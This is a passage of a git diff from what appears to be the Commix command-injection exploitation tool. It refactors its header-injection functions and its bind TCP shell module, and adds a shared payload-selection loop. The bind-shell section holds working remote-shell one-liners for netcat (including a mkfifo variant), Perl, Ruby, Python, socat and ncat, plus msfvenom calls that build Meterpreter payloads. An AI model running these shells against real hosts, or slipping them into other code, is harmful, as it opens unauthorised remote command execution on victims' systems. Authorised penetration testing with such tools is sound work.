user_agent_injection(url, payload, http_request_method): + return header_injection(url, payload, http_request_method, lambda request, payload: request.add_header(settings.USER_AGENT, payload)) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection(url, vuln_parameter, payload, http_request_method): - - def inject_referer(url, vuln_parameter, payload, http_request_method): - # Check if defined POST data - if settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) - else: - data = None - request = _urllib.request.Request(url, data, method=http_request_method) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.normalize_newlines(payload) - request.add_header(settings.REFERER, payload) - try: - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = headers.check_http_traffic(request) - if response is None: - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except ValueError: - pass - - if settings.TIME_RELATED_ATTACK : - start = 0 - end = 0 - start = time.time() - - try: - response = inject_referer(url, vuln_parameter, payload, http_request_method) - except Exception as err_msg: - response = request_failed(err_msg) - - if settings.TIME_RELATED_ATTACK : - end = time.time() - exec_time = end - start - return exec_time - else: - return response +def referer_injection(url, payload, http_request_method): + return header_injection(url, payload, http_request_method, lambda request, payload: request.add_header(settings.REFERER, payload)) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection(url, vuln_parameter, payload, http_request_method): - - def inject_host(url, vuln_parameter, payload, http_request_method): - # Check if defined POST data - if settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) - else: - data = None - request = _urllib.request.Request(url, data, method=http_request_method) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.normalize_newlines(payload) - request.add_header(settings.HOST, payload) - try: - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = headers.check_http_traffic(request) - if response is None: - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except ValueError: - pass - - if settings.TIME_RELATED_ATTACK : - start = 0 - end = 0 - start = time.time() - - try: - response = inject_host(url, vuln_parameter, payload, http_request_method) - except Exception as err_msg: - response = request_failed(err_msg) - - if settings.TIME_RELATED_ATTACK : - end = time.time() - exec_time = end - start - return exec_time - else: - return response +def host_injection(url, payload, http_request_method): + return header_injection(url, payload, http_request_method, lambda request, payload: request.add_header(settings.HOST, payload)) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection(url, vuln_parameter, payload, http_request_method): - - def inject_custom_header(url, vuln_parameter, payload, http_request_method): - # Check if defined POST data - if settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) - else: - data = None - request = _urllib.request.Request(url, data, method=http_request_method) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.normalize_newlines(payload) - request.add_header(settings.CUSTOM_HEADER_NAME, payload) - try: - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = headers.check_http_traffic(request) - if response is None: - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except ValueError: - pass - - if settings.TIME_RELATED_ATTACK : - start = 0 - end = 0 - start = time.time() - - try: - response = inject_custom_header(url, vuln_parameter, payload, http_request_method) - except Exception as err_msg: - response = request_failed(err_msg) - - if settings.TIME_RELATED_ATTACK : - end = time.time() - exec_time = end - start - return exec_time - else: - return response +def custom_header_injection(url, payload, http_request_method): + return header_injection(url, payload, http_request_method, lambda request, payload: request.add_header(settings.CUSTOM_HEADER_NAME, payload)) """ Detect the character encoding of the target web page. @@ -830,8 +670,6 @@ def encoding_detection(response): try: # Read once content_bytes = response.read() - # A charset meta tag is always within the first 1024 bytes (same window - # browsers use for charset prescanning) - no need to decode/scan the rest. try: content_text = content_bytes[:1024].decode("utf-8", errors="ignore") except (Exception, SystemExit): @@ -887,7 +725,7 @@ def encoding_detection(response): warn_msg = msg + charset + "', which is not recognized." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - except Exception as e: + except Exception: pass if not charset_detected and settings.VERBOSITY_LEVEL != 0: @@ -907,7 +745,6 @@ def application_identification(url, response=None): root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() - # Extensionless URL - fall back to a header-based hint instead of giving up. if not settings.TARGET_APPLICATION and response is not None: x_powered_by = response.info().get(settings.X_POWERED_BY, "") match = re.search(r"PHP|ASP\.NET|JSP", x_powered_by, re.IGNORECASE) @@ -964,7 +801,7 @@ def check_os(server_header): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: - identified_os = "Unix-like (" + settings.TARGET_OS + ")" + identified_os = "Unix-like" if settings.TARGET_OS.lower() == settings.OS.UNIX else settings.TARGET_OS if menu.options.os and user_defined_os == settings.OS.WINDOWS: if checks.identified_os(): @@ -992,7 +829,6 @@ def technology_identification(response): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Target application technology detected as " + x_powered_by + "." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - # Run regardless of verbosity - this is a real OS-detection fallback, not just a log line. check_os(x_powered_by) elif settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify the technology supporting the target application." @@ -1071,7 +907,7 @@ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_ payload, prefix = parameters.prefixes(payload, prefix) payload, suffix = parameters.suffixes(payload, suffix) - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + payload = checks.tamper_outside_single_quotes(payload, lambda part: part.replace(settings.SINGLE_WHITESPACE, whitespace)) payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. @@ -1083,27 +919,27 @@ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_ if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie or settings.COOKIE_INJECTION: if not vuln_parameter: vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - exec_time = cookie_injection(url, vuln_parameter, payload, http_request_method) + exec_time = cookie_injection(url, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: if not vuln_parameter: vuln_parameter = parameters.specify_custom_header_parameter("") - exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) + exec_time = custom_header_injection(url, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif (menu.options.agent and settings.INJECT_TAG in menu.options.agent) or settings.USER_AGENT_INJECTION: if not vuln_parameter: vuln_parameter = parameters.specify_user_agent_parameter(settings.USER_AGENT.lower()) - exec_time = user_agent_injection(url, vuln_parameter, payload, http_request_method) + exec_time = user_agent_injection(url, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif (menu.options.referer and settings.INJECT_TAG in menu.options.referer) or settings.REFERER_INJECTION: if not vuln_parameter: vuln_parameter = parameters.specify_referer_parameter(settings.REFERER.lower()) - exec_time = referer_injection(url, vuln_parameter, payload, http_request_method) + exec_time = referer_injection(url, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif (menu.options.host and settings.INJECT_TAG in menu.options.host) or settings.HOST_INJECTION: if not vuln_parameter: vuln_parameter = parameters.specify_host_parameter(settings.HOST.lower()) - exec_time = host_injection(url, vuln_parameter, payload, http_request_method) + exec_time = host_injection(url, payload, http_request_method) else: exec_time, vuln_parameter = init_injection(payload, http_request_method, url) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 41f85c8a35..2722529154 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -14,15 +14,10 @@ """ import re -import sys from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import http_client as _http_client from src.utils import menu from src.utils import settings -from src.utils import requirements from src.core.requests import proxy -from src.core.requests import requests -from src.thirdparty.colorama import Fore, Back, Style, init """ Check if Tor HTTP proxy is defined. diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 925a4ca44b..90b3273851 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -14,603 +14,194 @@ """ import os -import re -import sys -import time -import base64 -import subprocess from src.utils import menu from src.utils import common from src.utils import settings from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input +from src.core.shells import modes from src.thirdparty.colorama import Fore, Back, Style, init """ -Set up the netcat bind TCP connection +Netcat bind TCP shell - one generator, parameterized by which netcat binary to target. """ -def netcat_version(separator): - # Defined shell +def _netcat_bind_shell(nc_alternative, use_dash_e=True): shell = "sh" - - # Netcat alternatives - NETCAT_ALTERNATIVES = ( - "nc", - "busybox nc", - "nc.traditional", - "nc.openbsd", - ) - - # Available netcat bind TCP shell options. - NETCAT_OPTIONS = ( - ("1", "use the default Netcat on target host"), - ("2", "use Netcat for Busybox on target host"), - ("3", "use Netcat-Traditional on target host"), - ("4", "use Netcat-Openbsd on target host"), - ) - - message = ( - Style.BRIGHT - + "Available netcat bind TCP shell options:" - + Style.RESET_ALL - + "\n" - ) - - for option, description in NETCAT_OPTIONS: - message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + option - + Style.RESET_ALL - + "' to " - + description - + ".\n" - ) - - settings.print_data_to_stdout(message.rstrip()) - - while True: - nc_version = _input( - "commix(" - + Style.BRIGHT - + Fore.RED - + "bind_tcp_netcat" - + Style.RESET_ALL - + ") > " - ) - - # Default Netcat. - if nc_version == '1': - nc_alternative = NETCAT_ALTERNATIVES[0] - break - - # Netcat for Busybox. - elif nc_version == '2': - nc_alternative = NETCAT_ALTERNATIVES[1] - break - - # Netcat-Traditional. - elif nc_version == '3': - nc_alternative = NETCAT_ALTERNATIVES[2] - break - - # Netcat-Openbsd (nc without -e). - elif nc_version == '4': - nc_alternative = NETCAT_ALTERNATIVES[3] - break - - # Check for available shell options. - elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if checks.shell_options(nc_version): - return checks.shell_options(nc_version) - - # Invalid command. - else: - common.invalid_option(nc_version) - continue - nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) # Netcat with -e. - if nc_version != '4': - cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell - - # nc without -e. - else: - cmd = ( - shell - + " -c \"" - + shell - + " 0</tmp/f | " - + nc_alternative - + " -l -p " - + settings.LPORT - + " 1>/tmp/f\"" - ) - - return cmd + if use_dash_e: + return nc_alternative + " -l -p " + settings.LPORT + " -e " + shell + + tmp_fifo = checks.random_tmp_path() + + return ( + shell + + " -c \"rm -f " + tmp_fifo + ";mkfifo " + tmp_fifo + ";" + + shell + + " 0<" + tmp_fifo + " | " + + nc_alternative + + " -l -p " + + settings.LPORT + + " 1>" + tmp_fifo + "\"" + ) """ -Other bind shell options +Perl bind TCP shell. """ -def other_bind_shells(separator): - # Available generic bind TCP shell options. - BIND_TCP_SHELLS = ( - ("1", "use a PHP bind TCP shell"), - ("2", "use a Perl bind TCP shell"), - ("3", "use a Ruby bind TCP shell"), - ("4", "use a Python bind TCP shell"), - ("5", "use a Socat bind TCP shell"), - ("6", "use a Ncat bind TCP shell"), - ) - - METERPRETER_SHELLS = ( - ("7", "use a PHP meterpreter bind TCP shell"), - ("8", "use a Python meterpreter bind TCP shell"), +def gen_perl_bind(): + # Relays in Perl itself - the "$~->fdopen" dups leave the shell connected but unusable. + return ( + "perl -MIO -e '" + "$c=new IO::Socket::INET(LocalPort," + + settings.LPORT + + ",Reuse,1,Listen)->accept;" + "select($c);$|=1;" + # chdir() persists for the process, and qx() inherits it - so "cd" carries to the next command. + "while(<$c>){chomp;if(/^cd\\s+(.+)/){chdir($1);next;}print $c qx($_);}'" ) - message = ( - Style.BRIGHT - + "Available generic bind TCP shell options:" - + Style.RESET_ALL - + "\n" +""" +Ruby bind TCP shell. +""" +def gen_ruby_bind(): + return ( + "ruby -rsocket -e '" + "s=TCPServer.new(" + + settings.LPORT + + ");c=s.accept;" + "s.close;" + "$stdin.reopen(c);" + "$stdout.reopen(c);" + "$stderr.reopen(c);" + "$stdin.each_line{|l|l=l.strip;" + "next if l.length==0;" + "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}}) rescue nil }'" ) - for option, description in BIND_TCP_SHELLS: - message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + option - + Style.RESET_ALL - + "' to " - + description - + ".\n" - ) - - message += ( - Style.BRIGHT - + "Available meterpreter bind TCP shell options:" - + Style.RESET_ALL - + "\n" +""" +Python bind TCP shell. +""" +def gen_python_bind(): + return ( + settings.LINUX_PYTHON_INTERPRETER + + " -c 'import pty,os,socket%0d" + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" + "s.bind((\"\"," + + settings.LPORT + + "))%0d" + "s.listen(1)%0d" + "(rem, addr) = s.accept()%0d" + "os.dup2(rem.fileno(),0)%0d" + "os.dup2(rem.fileno(),1)%0d" + "os.dup2(rem.fileno(),2)%0d" + "pty.spawn(\"/bin/sh\")%0d" + "s.close()'" ) - for option, description in METERPRETER_SHELLS: - message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + option - + Style.RESET_ALL - + "' to " - + description - + ".\n" - ) - - settings.print_data_to_stdout(message.rstrip()) - - while True: - other_shell = _input( - "commix(" - + Style.BRIGHT - + Fore.RED - + "bind_tcp_other" - + Style.RESET_ALL - + ") > " - ) - - # PHP bind shell. - if other_shell == '1': - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - continue - - payload = "php/bind_php" - output = "php_bind_tcp.rc" - - info_msg = "Generating the '" + payload + "' payload. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - try: - proc = subprocess.Popen( - "msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + settings.NO_OUTPUT, - shell=True - ).wait() - - with open(output, "r+") as content_file: - data = content_file.readlines() - data = ''.join(data).replace( - settings.END_LINE.LF, - settings.SINGLE_WHITESPACE - ) - - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - - # Remove temporary output file. - os.remove(output) - - with open(output, 'w+') as filewrite: - filewrite.write( - "use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set rhost " + str(settings.RHOST) + settings.END_LINE.LF + - "set lport " + str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2 - ) - - if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - checks.set_php_working_dir() - other_shell = settings.WIN_PHP_DIR + " -r " + data - else: - other_shell = "php -r \"" + data + "\"" - - checks.msf_launch_msg(output) - - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - - break - - # Perl bind shell. - elif other_shell == '2': - other_shell = ( - "perl -MIO -e '" - "$c=new IO::Socket::INET(LocalPort," - + settings.LPORT + - ",Reuse,1,Listen)->accept;" - "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" - ) - - break - - # Ruby bind shell. - elif other_shell == '3': - other_shell = ( - "ruby -rsocket -e '" - "s=TCPServer.new(" - + settings.LPORT + - ");c=s.accept;" - "s.close;" - "$stdin.reopen(c);" - "$stdout.reopen(c);" - "$stderr.reopen(c);" - "$stdin.each_line{|l|l=l.strip;" - "next if l.length==0;" - "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'" - ) - - break - - # Python bind shell. - elif other_shell == '4': - other_shell = ( - settings.LINUX_PYTHON_INTERPRETER - + " -c 'import pty,os,socket%0d" - "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" - "s.bind((\"\"," - + settings.LPORT + - "))%0d" - "s.listen(1)%0d" - "(rem, addr) = s.accept()%0d" - "os.dup2(rem.fileno(),0)%0d" - "os.dup2(rem.fileno(),1)%0d" - "os.dup2(rem.fileno(),2)%0d" - "pty.spawn(\"/bin/sh\")%0d" - "s.close()'" - ) - - break - - # Socat bind shell. - elif other_shell == '5': - other_shell = ( - "socat tcp-listen:" - + settings.LPORT + - " exec:\"sh\"" - ) - - break - - # Ncat bind shell. - elif other_shell == '6': - other_shell = ( - "ncat -k -l " - + settings.LPORT + - " -e /bin/sh" - ) - - break - - # PHP meterpreter bind shell. - elif other_shell == '7': - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - continue - - payload = "php/meterpreter/bind_tcp" - output = "php_meterpreter.rc" - - info_msg = "Generating the '" + payload + "' payload. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - try: - proc = subprocess.Popen( - "msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + settings.NO_OUTPUT, - shell=True - ).wait() - - with open(output, "r+") as content_file: - data = content_file.readlines() - data = ''.join(data).replace( - settings.END_LINE.LF, - settings.SINGLE_WHITESPACE - ) - - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - - # Remove temporary output file. - os.remove(output) - - with open(output, 'w+') as filewrite: - filewrite.write( - "use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set rhost " + str(settings.RHOST) + settings.END_LINE.LF + - "set lport " + str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2 - ) - - if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - checks.set_php_working_dir() - other_shell = settings.WIN_PHP_DIR + " -r " + data - else: - other_shell = "php -r \"" + data + "\"" - - checks.msf_launch_msg(output) - - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - - break - - # Python meterpreter bind shell. - elif other_shell == '8': - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - continue - - payload = "python/meterpreter/bind_tcp" - output = "py_meterpreter.rc" - - info_msg = "Generating the '" + payload + "' payload. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - try: - proc = subprocess.Popen( - "msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + - " -o " + output + settings.NO_OUTPUT, - shell=True - ).wait() - - with open(output, "r") as content_file: - data = content_file.readlines() - data = ''.join(data) - - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - - # Remove temporary output file. - os.remove(output) - - with open(output, 'w+') as filewrite: - filewrite.write( - "use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set rhost " + str(settings.RHOST) + settings.END_LINE.LF + - "set lport " + str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2 - ) - - if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: - checks.set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - else: - if not settings.USER_DEFINED_PYTHON_INTERPRETER: - checks.set_python_interpreter() - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - - checks.msf_launch_msg(output) - - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - - break +""" +Socat bind TCP shell. +""" +def gen_socat_bind(): + return "socat tcp-listen:" + settings.LPORT + " exec:\"sh\",pty,stderr,setsid,sigint,sane" - # Check for available shell options. - elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if checks.shell_options(other_shell): - return checks.shell_options(other_shell) +""" +Ncat bind TCP shell. +""" +def gen_ncat_bind(): + return "ncat -k -l " + settings.LPORT + " -e /bin/sh" - # Invalid option. +""" +PHP meterpreter bind TCP shell (via msfvenom). +""" +def gen_php_meterpreter_bind(): + if checks.metasploit_missing(): + return None + + payload = "php/meterpreter/bind_tcp" + output = "php_meterpreter.rc" + info_msg = "Generating the '" + payload + "' payload. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + data = checks.generate_msf_payload(payload, output, "RHOST", settings.RHOST, " -e php/base64", strip_newlines=True) + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() + other_shell = settings.WIN_PHP_DIR + " -r " + data else: - common.invalid_option(other_shell) - continue - - return other_shell + other_shell = "php -r \"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell + except: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return None """ -Choose type of bind TCP connection. +Python meterpreter bind TCP shell (via msfvenom). """ -def bind_tcp_options(separator): - # Available bind TCP shell options. - BIND_TCP_OPTIONS = ( - ("1", "use netcat bind TCP shells"), - ("2", "use other bind TCP shells"), - ) - - message = ( - Style.BRIGHT - + "Available bind TCP shell options:" - + Style.RESET_ALL - + "\n" - ) - - for option, description in BIND_TCP_OPTIONS: - message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + option - + Style.RESET_ALL - + "' for " - + description - + ".\n" - ) - - settings.print_data_to_stdout(message.rstrip()) - - while True: - bind_tcp_option = _input( - "commix(" - + Style.BRIGHT - + Fore.RED - + "bind_tcp" - + Style.RESET_ALL - + ") > " - ) - - if bind_tcp_option.lower() == "bind_tcp": - warn_msg = "You are in '" + bind_tcp_option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - continue - - # Option 1 - Netcat shell. - elif bind_tcp_option == '1': - bind_tcp_option = netcat_version(separator) - - if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - checks.shell_success("bind") - break - - elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: - return bind_tcp_option - - else: - pass - - # Option 2 - Other bind TCP shells. - elif bind_tcp_option == '2': - bind_tcp_option = other_bind_shells(separator) - - if settings.EVAL_BASED_STATE != False: - bind_tcp_option = bind_tcp_option.replace("$", "\\$") - - if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - checks.shell_success("bind") - break - - # Check for available shell options. - elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if checks.shell_options(bind_tcp_option): - return checks.shell_options(bind_tcp_option) - - # Invalid option. +def gen_python_meterpreter_bind(): + if checks.metasploit_missing(): + return None + + payload = "python/meterpreter/bind_tcp" + output = "py_meterpreter.rc" + info_msg = "Generating the '" + payload + "' payload. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + data = checks.generate_msf_payload(payload, output, "RHOST", settings.RHOST, "", strip_newlines=False) + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: - common.invalid_option(bind_tcp_option) - continue - - return bind_tcp_option + if not settings.USER_DEFINED_PYTHON_INTERPRETER: + checks.set_python_interpreter() + other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell + except: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return None + +# Module path (relative to "bind_tcp/") -> (description, generator). +BIND_TCP_MODULES = { + "netcat/traditional": ("Netcat-Traditional", lambda: _netcat_bind_shell("nc.traditional")), + "netcat/busybox": ("Netcat-Busybox", lambda: _netcat_bind_shell("busybox nc")), + "netcat/openbsd": ("Netcat-Openbsd (no '-e' support)", lambda: _netcat_bind_shell("nc", use_dash_e=False)), + "perl": ("Perl bind TCP shell", gen_perl_bind), + "ruby": ("Ruby bind TCP shell", gen_ruby_bind), + "python": ("Python bind TCP shell", gen_python_bind), + "socat": ("Socat bind TCP shell", gen_socat_bind), + "ncat": ("Ncat bind TCP shell", gen_ncat_bind), + "meterpreter/php": ("PHP Meterpreter bind TCP shell", gen_php_meterpreter_bind), + "meterpreter/python": ("Python Meterpreter bind TCP shell", gen_python_meterpreter_bind), +} """ -Set up the bind TCP connection +Set up and choose the bind TCP connection - the prompt itself is the shared mode loop. """ -def configure_bind_tcp(separator): - # Set up rhost for the bind TCP connection. - while True: - # Pass the prompt to input() so readline handles redraws and line state correctly. - option = common.safe_input(settings.BIND_TCP_SHELL) - - if option.lower() == "bind_tcp": - warn_msg = "You are in the '" + option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - continue - - # Display bind TCP options. - elif option.lower() == "?": - menu.bind_tcp_options() - continue - - # Exit Commix. - elif option.lower() == "quit" or option.lower() == "exit": - raise SystemExit() - - # Return to previous shell context. - elif option.lower() == "os_shell" or option.lower() == "back": - settings.BIND_TCP = False - break - - # Switch to reverse TCP mode. - elif option.lower() == "reverse_tcp": - settings.REVERSE_TCP = True - settings.BIND_TCP = False - break - - # Continue when required options are set. - elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0: - break - - # Handle set options. - elif option[0:4].lower() == "set ": - - # Set remote host. - if option[4:10].lower() == "rhost ": - if checks.check_rhost(option[10:]): - if len(settings.LPORT) == 0: - pass - else: - break - else: - continue - - # LHOST is not supported in bind TCP mode. - elif option[4:10].lower() == "lhost ": - err_msg = "The '" + option[4:9].upper() + "' option is not " - err_msg += "usable for 'bind_tcp' mode. Use the 'RHOST' option." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - continue - - # Set local port. - elif option[4:10].lower() == "lport ": - if checks.check_lport(option[10:]): - if len(settings.RHOST) == 0: - pass - else: - break - else: - continue - - # Invalid set option. - else: - common.invalid_option(option) - settings.print_data_to_stdout("Use 'set rhost <ip>' and 'set lport <port>' to configure the bind TCP connection.") - pass - - # Invalid option. - else: - common.invalid_option(option) - settings.print_data_to_stdout("Use 'set rhost <ip>' and 'set lport <port>' to configure the bind TCP connection.") - pass +BIND_TCP_MODE = modes.ShellMode( + name="bind_tcp", + modules=BIND_TCP_MODULES, + help_menu=menu.bind_tcp_options, + option_rows=lambda: [ + ("RHOST", settings.RHOST, True, "The target host to connect to"), + ("LPORT", settings.LPORT, True, "The listening port"), + ("HANDLER", "on" if settings.HANDLER else "off", False, "Catch the shell locally (instead of an external listener) (nc/ncat)"), + ], + required=("RHOST", "LPORT"), + required_hint="Required options not set. Use 'set rhost <ip>' and 'set lport <port>'.", + set_options=( + ("rhost", checks.check_rhost), + ("lport", checks.check_lport), + ("handler", checks.check_handler), + ), + unsupported=("lhost", "rhost"), + build=lambda module_path, separator: BIND_TCP_MODULES[module_path][1](), + usage_hint="Use 'set rhost <ip>' and 'set lport <port>' to configure the bind TCP connection.", +) + +def bind_tcp_options(separator, filename, url): + return modes.shell_mode_options(BIND_TCP_MODE, separator, filename, url) # eof \ No newline at end of file diff --git a/src/core/shells/modes.py b/src/core/shells/modes.py new file mode 100644 index 0000000000..49dc041e7d --- /dev/null +++ b/src/core/shells/modes.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import menu +from src.utils import common +from src.utils import settings +from src.core.injections.controller import checks + +""" +The shared "use -> set -> run" loop behind the 'reverse_tcp' and 'bind_tcp' modes. +""" + +MODE_NAMES = ("os_shell", "reverse_tcp", "bind_tcp") + +# Per mode: the settings flag holding it, and the other TCP mode. +MODE_FLAGS = { + "reverse_tcp": ("REVERSE_TCP", "bind_tcp"), + "bind_tcp": ("BIND_TCP", "reverse_tcp"), +} + +""" +Everything the shared loop needs that differs between the two modes. +""" +class ShellMode(object): + def __init__(self, name, modules, help_menu, option_rows, required, required_hint, set_options, unsupported, build, usage_hint): + self.name = name + self.modules = modules + self.help_menu = help_menu + self.option_rows = option_rows + self.required = required + self.required_hint = required_hint + self.set_options = set_options + self.unsupported = unsupported + self.build = build + self.usage_hint = usage_hint + self.flag, self.other = MODE_FLAGS[name] + + def qualified(self, module_path): + return self.name + "/" + module_path + + def unsupported_msg(self): + unsupported, supported = self.unsupported + return "The '" + unsupported.upper() + "' option is not usable for '" + self.name + "' mode. Use the '" + supported.upper() + "' option." + +""" +Announce the mode, listing the compatible payloads until one is selected. +""" +def _announce(mode, selected_module): + if selected_module is None: + info_msg = "Selected mode: '" + mode.name + "'. Type 'set payload <payload>' to select one." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.print_module_table( + "Compatible Payloads", + [(path, description) for path, (description, _) in mode.modules.items()] + ) + else: + info_msg = "Selected payload: '" + mode.qualified(selected_module) + "'. Configure options with 'set', then type 'run'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Select a payload by path, accepting both the bare and the mode-qualified form. +""" +def _select_payload(mode, module_path, option): + if module_path.startswith(mode.name + "/"): + module_path = module_path[len(mode.name) + 1:] + + if module_path in mode.modules: + info_msg = "Selected payload: '" + mode.qualified(module_path) + "'. Configure options with 'set', then type 'run'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return module_path + + matches = sorted(_ for _ in mode.modules if _.startswith(module_path)) + if matches: + info_msg = "Matching payloads:\n" + "\n".join(" set payload " + _ for _ in matches) + 